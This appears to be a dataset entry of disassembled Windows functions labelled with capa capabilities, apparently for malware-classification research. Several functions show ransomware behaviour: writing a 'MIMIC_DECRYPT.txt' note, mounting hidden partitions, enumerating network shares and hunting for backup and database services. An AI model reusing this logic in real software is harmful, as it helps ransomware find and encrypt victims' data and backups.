joyce8/EMBER2024-capa huggingface dataset:
Function at 0x454b00
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x559dd0
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push str.SYSTEMDRIVE
mov dword [ebp - 4], 0
call fcn.00539ff5
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 7
add esp, 4
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x454b60
sub ecx, edi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.0044a150
push 5
push 0x5bda24
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 1
call fcn.004517c0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 1
push 0x5bda30
lea ecx, [ebp - 0x28]
call fcn.004517c0
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x28]
push eax
call fcn.004517c0
lea eax, [ebp - 0x28]
mov ecx, 0x5cab74
push dword [ebp - 0x18]
test esi, esi
je 0x454bda
mov ecx, 0x5cab8c
cmp dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0044a150
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x454c1e
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454c14
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c83
push edx
push ecx
call fcn.00518414
add esp, 8
mov edx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x454c68
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x454c5e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454c88
push edx
push ecx
call fcn.00518414
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
call fcn.00533a91
call fcn.00533a91
int3
Function at 0x454d40
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.00518940
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
mov ecx, 1
mov edx, 0x5d0a84
mov eax, 0x3e7
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x454e16
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x100c]
push eax
call dword [sym.imp.USER32.dll_wvsprintfW]
mov esi, eax
test esi, esi
jle 0x454e16
push 0x5d0a6c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x5d0a68]
test cl, 2
je 0x454ded
mov edx, dword [0x5cab70]
cmp edx, 0xffffffff
je 0x454ded
push 0
lea eax, [ebp - 0x1010]
push eax
lea eax, [esi + esi]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [ebp - 0x100c]
push eax
push edx
call esi
push 0
lea eax, [ebp - 0x1010]
push eax
push 4
push 0x5bdab8
push dword [0x5cab70]
call esi
mov ecx, dword [0x5d0a68]
test cl, 1
je 0x454e0b
lea edx, [ebp - 0x100c]
mov ecx, 0x5cf208
call fcn.00457400
push eax
call fcn.004576c0
add esp, 4
push 0x5d0a6c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop esi
call fcn.005181d3
mov esp, ebp
pop ebp
ret
Function at 0x458ed0
Capabilities:
Enumerate disk volumes
Get disk information
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2f4
mov eax, dword [0x5c9ea4]
xor eax, esp
mov dword [esp + 0x2f0], eax
push ebx
push esi
push edi
push str.___Loading_hidden_partitions
call fcn.00459870
xor edi, edi
mov dword [esp + 0x1c], 0x5bde4c
add esp, 4
mov dword [esp + 0x1c], 0x5bde54
mov dword [esp + 0x20], 0x5bde5c
xor esi, esi
mov dword [esp + 0x24], 0x5bde64
mov dword [esp + 0x28], 0x5bde6c
mov dword [esp + 0x2c], 0x5bde74
mov dword [esp + 0x30], 0x5bde7c
mov dword [esp + 0x34], 0x5bde84
mov dword [esp + 0x38], 0x5bde8c
mov dword [esp + 0x3c], 0x5bde94
mov dword [esp + 0x40], 0x5bde9c
mov dword [esp + 0x44], 0x5bdea4
mov dword [esp + 0x48], 0x5bdeac
mov dword [esp + 0x4c], 0x5bdeb4
mov dword [esp + 0x50], 0x5bdebc
mov dword [esp + 0x54], 0x5bdec4
mov dword [esp + 0x58], 0x5bdecc
mov dword [esp + 0x5c], 0x5bded4
mov dword [esp + 0x60], 0x5bdedc
mov dword [esp + 0x64], 0x5bdee4
mov dword [esp + 0x68], 0x5bdeec
mov dword [esp + 0x6c], 0x5bdef4
mov dword [esp + 0x70], 0x5bdefc
mov dword [esp + 0x74], 0x5bdf04
mov dword [esp + 0x78], 0x5bdf0c
mov dword [esp + 0x7c], 0x5bdf14
mov dword [esp + 0xec], edi
mov ebx, dword [esp + esi*4 + 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x458fed
mov dword [esp + edi*4 + 0x80], ebx
inc edi
inc esi
cmp esi, 0x1a
jl 0x458fd5
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
xor eax, eax
mov word [esp + 0xf0], ax
push 0x10040
push 8
push dword [0x5d0aa8]
call esi
mov ebx, eax
test ebx, ebx
je 0x459003
nop dword [eax + eax]
push 0x10040
push 8
push dword [0x5d0aa8]
call esi
mov dword [esp + 0x14], eax
test eax, eax
je 0x459020
push 0x8000
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [esp + 0x10], eax
mov esi, eax
nop dword [eax]
test edi, edi
je 0x4590e5
lea eax, [esp + 0xec]
push eax
push 0x78
lea eax, [esp + 0xf8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x459094
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
jne 0x459094
xor eax, eax
mov word [esp + 0xf0], ax
jmp 0x4590d0
mov esi, dword [esp + edi*4 + 0x7c]
dec edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
je 0x4590b6
push ebx
push esi
push str.___Mounted_partition:__s_____s
call fcn.00459870
add esp, 0xc
jmp 0x4590cc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push esi
push str.____Failed_to_mount_partition:__s_____s__Code__lu
call fcn.00459870
add esp, 0x10
mov esi, dword [esp + 0x10]
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x459050
push esi
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [0x5d0aa8]
call esi
push ebx
push 0
push dword [0x5d0aa8]
call esi
mov ecx, dword [esp + 0x2fc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
Function at 0x4596b0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55a238
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [0x5d0a88]
push 0x5d0a8c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x5d0a8c
mov dword [0x5d0a88], 0xffffffff
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x5d0a88]
test al, 2
je 0x45982a
test bl, 2
jne 0x45982a
push str.SYSTEMDRIVE
call fcn.00539ff5
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 7
add esp, 4
xor eax, eax
mov word [ebp - 0x28], ax
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x459740
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.0044a150
push 5
push 0x5bda24
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.004517c0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x12
push str.MIMIC_DECRYPT.txt
lea ecx, [ebp - 0x28]
call fcn.004517c0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push bind
push 4
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
xorps xmm0, xmm0
mov dword [0x5caba4], eax
movq qword [ebp - 0x30], xmm0
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x459811
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x459807
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x459866
push edx
push ecx
call fcn.00518414
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov eax, dword [0x5d0a88]
mov dword [ebp - 0x14], 7
mov ecx, 0x5d0aa4
test eax, eax
jne 0x459837
xchg dword [ecx], eax
jmp 0x45984b
mov eax, 1
xchg dword [ecx], eax
push str.___Logging_ON
call fcn.00459870
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
call fcn.00533a91
int3
Function at 0x459870
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1060
call fcn.00518940
mov eax, dword [0x5c9ea4]
xor eax, esp
mov dword [esp + 0x105c], eax
push esi
push edi
mov ecx, 1
mov edx, 0x5d0aa4
mov eax, 0x3e7
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x459a38
mov eax, dword [ebp + 8]
lea edi, [esp + 0x60]
test eax, eax
mov ecx, 0x5bd86c
cmovne ecx, eax
lea eax, [ebp + 0xc]
push eax
xor esi, esi
mov eax, edi
push esi
push ecx
push 0x7ff
push eax
call fcn.00453670
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 1
push ecx
call fcn.00539cad
or ecx, 0xffffffff
add esp, 0x1c
test eax, eax
cmovs eax, ecx
test eax, eax
js 0x4598f9
cmp eax, 0x7ff
ja 0x4598f9
jne 0x45990d
jmp 0x4598fe
mov esi, 0x8007007a
xor eax, eax
mov word [esp + 0x105e], ax
mov eax, 0x7ff
lea eax, [esp + eax*2 + 0x60]
test esi, esi
jns 0x459935
push 0x1000
lea eax, [esp + 0x64]
push 0
push eax
call fcn.0052fbd0
add esp, 0xc
lea eax, [esp + 0x60]
cmp esi, 0x8007007a
jne 0x459937
mov edi, eax
lea eax, [esp + 0x60]
sub edi, eax
and edi, 0xfffffffe
test edi, edi
jle 0x459a38
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [esp + 0x1c]
push eax
movzx eax, word [esp + 0x1e]
push eax
movzx eax, word [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push str.__02d:_02d:_02d_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov esi, eax
push 0x5d0a8c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test esi, esi
je 0x459a2d
mov ecx, dword [0x5d0a88]
test cl, 2
je 0x4599ed
mov edx, dword [0x5caba4]
cmp edx, 0xffffffff
je 0x4599ed
push 0
lea eax, [esp + 0x10]
push eax
lea eax, [esi + esi]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [esp + 0x2c]
push eax
push edx
call esi
push 0
lea eax, [esp + 0x10]
push eax
push edi
lea eax, [esp + 0x6c]
push eax
push dword [0x5caba4]
call esi
push 0
lea eax, [esp + 0x10]
push eax
push 4
push 0x5bdab8
push dword [0x5caba4]
call esi
mov ecx, dword [0x5d0a88]
test cl, 1
je 0x459a2d
lea edx, [esp + 0x20]
mov ecx, 0x5cf208
call fcn.00457400
mov ecx, eax
call fcn.00459a50
lea edx, [esp + 0x60]
mov ecx, eax
call fcn.00457400
push eax
call fcn.004576c0
xor edx, edx
lea eax, [esp + 0x64]
add esp, 4
lea ecx, [edx + 7]
push eax
call fcn.00459640
add esp, 4
push 0x5d0a8c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x1064]
pop edi
pop esi
xor ecx, esp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
Function at 0x45b390
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x5c9ea4]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
lea eax, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
push eax
push ecx
push 0x13
push 0
push 2
mov dword [esp + 0x28], 0x4000
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x45b50e
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esi, 0x40
nop
push esi
push 8
push dword [0x5d0aa8]
call edi
mov ebx, eax
mov dword [esp + 0x10], ebx
test ebx, ebx
je 0x45b3e0
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x24]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x45b4f5
xor edi, edi
cmp dword [esp + 0x28], edi
jbe 0x45b4d8
lea esi, [ebx + 0x14]
test byte [esi - 8], 2
je 0x45b434
lea ecx, [esi - 0x14]
call fcn.0045b390
jmp 0x45b4c6
push dword [esi]
push str.___Found_Share_Path:__s
call fcn.00459870
mov ebx, dword [esi]
add esp, 8
cmp dword [0x5d02c0], 0
je 0x45b483
push ebx
mov dword [esp + 0x20], 1
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [esp + 0x24], ebx
lea eax, [eax*2 + 2]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0x4a
push dword [0x5d02c0]
call dword [sym.imp.USER32.dll_SendMessageW]
mov ebx, dword [esi]
sub esp, 0x18
xor eax, eax
mov edx, esp
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov eax, ebx
lea ecx, [eax + 2]
mov dword [esp + 0x24], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x45b4a4
sub eax, dword [esp + 0x24]
mov ecx, edx
sar eax, 1
push eax
push ebx
call fcn.0044a150
call fcn.0045e940
add esp, 0x18
inc edi
add esi, 0x20
cmp edi, dword [esp + 0x28]
jb 0x45b421
mov ebx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x24]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x45b412
push ebx
push 0
push dword [0x5d0aa8]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x18]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
Function at 0x45d610
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55a568
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
push 0xf003f
push 0
push 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
je 0x45d816
mov edi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 3
push 0x30
push ebx
call edi
test eax, eax
jne 0x45d80f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x45d80f
mov esi, dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0x14]
push eax
push 3
push 0x30
push ebx
call edi
test eax, eax
mov eax, dword [ebp - 0x20]
je 0x45d7ff
mov esi, eax
test eax, eax
je 0x45d7ff
xor ebx, ebx
cmp dword [ebp - 0x18], ebx
jbe 0x45d7fc
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
nop dword [eax + eax]
push 0x5bf568
push dword [esi]
call edi
test eax, eax
jne 0x45d755
push str.backup
push dword [esi]
call edi
test eax, eax
jne 0x45d755
push str.database
push dword [esi]
call edi
test eax, eax
jne 0x45d755
push 0x5bf568
push dword [esi + 4]
call edi
test eax, eax
jne 0x45d755
push str.backup
push dword [esi + 4]
call edi
test eax, eax
jne 0x45d755
push str.database
push dword [esi + 4]
call edi
test eax, eax
je 0x45d7ec
mov edx, dword [esi]
xor eax, eax
mov word [ebp - 0x44], ax
mov eax, edx
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
lea ecx, [eax + 2]
mov dword [ebp - 0x28], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x45d773
sub eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x44]
sar eax, 1
push eax
push edx
call fcn.0044a150
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 4], 0
call fcn.004544b0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x45d7dd
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x45d7d3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45d832
push edx
push ecx
call fcn.00518414
add esp, 8
push dword [esi]
push str.___Added_service:__s
call fcn.00459870
add esp, 8
inc ebx
add esi, 0x24
cmp ebx, dword [ebp - 0x18]
jb 0x45d700
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005181d3
mov esp, ebp
pop ebp
ret
call fcn.00533a91
int3
Function at 0x53d979
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5c9ea4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push 0x5b4070
push esi
call fcn.0054cb63
pop ecx
pop ecx
test eax, eax
jne 0x53d9a7
xor al, al
jmp 0x53da24
push ebx
lea eax, [ebp - 0x210]
xor ebx, ebx
push eax
push 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x210], ebx
push esi
push eax
call fcn.0053d6bc
mov edx, eax
add esp, 0x10
test edx, edx
jne 0x53d9e1
push dword [ebp - 0x210]
call fcn.0053375a
xor al, al
jmp 0x53da22
mov ecx, edx
push edi
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x53d9e7
sub ecx, edi
sar ecx, 1
pop edi
cmp ecx, 3
je 0x53da07
push edx
call fcn.0053d8af
pop ecx
test al, al
je 0x53d9d2
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x53da15
mov bl, 1
push dword [ebp - 0x210]
call fcn.0053375a
mov al, bl
pop ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.005181d3
leave
ret
Function at 0x549065
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00548d00

Function at 0x549070
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00548e8f

Function at 0x54950c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5b6328
push 0x5b6320
push str.FlsAlloc
push 0x1e
call fcn.00549379
mov esi, eax
add esp, 0x10
test esi, esi
je 0x549540
push dword [ebp + 8]
mov ecx, esi
call dword [0x55d470]
call esi
jmp 0x549546
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x54958a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5b6338
push 0x5b6330
push str.FlsGetValue
push 0x20
call fcn.00549379
mov esi, eax
add esp, 0x10
test esi, esi
je 0x5495c1
push dword [ebp + 8]
mov ecx, esi
call dword [0x55d470]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x4029c0
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004041d8
test esi, esi
jne 0x4029f6
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004042c8
jmp 0x402a14
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004028d4
mov edi, eax
test esi, esi
je 0x402a14
cmp dword [ebx], 0
je 0x402a14
dec esi
jmp 0x4029fd
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403420
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x42a020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4034b8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403498
xor eax, eax
push ebp
push 0x403491
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4034d4
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403498
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x42a020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x42a020], ax
mov esp, ebp
pop ebp
ret

Function at 0x40405c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x42b04c], 0
je 0x4040bd
cmp word [0x42b220], 0xd7b2
jne 0x404085
cmp dword [0x42b228], 0
jbe 0x404085
mov eax, 0x42b21c
call dword [0x42b238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x42a070
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4040e4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x42a030], 0
jne 0x4040d9
push 0
push 0x42a068
push 0x42a070
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405f74
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405fda
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404448
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402eb8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405fc4
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405fe1
lea eax, [ebp - 0x10]
call fcn.004041d8
ret

Function at 0x407bf8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_ReadFile_1
test eax, eax
jne 0x407c29
mov dword [ebp - 0x10], 0xffffffff
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x407c30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
jne 0x407c61
mov dword [ebp - 0x10], 0xffffffff
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x407d48
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404674
push eax
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x407d6e
test byte [ebp - 0xc], 0x10
jne 0x407d72
xor eax, eax
jmp 0x407d74
mov al, 1
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret

Function at 0x408190
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404674
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
pop ecx
pop ecx
pop ebp
ret

Function at 0x4081b8
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 4]
call fcn.00404674
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov al, byte [ebp - 5]
pop ecx
pop ecx
pop ebp
ret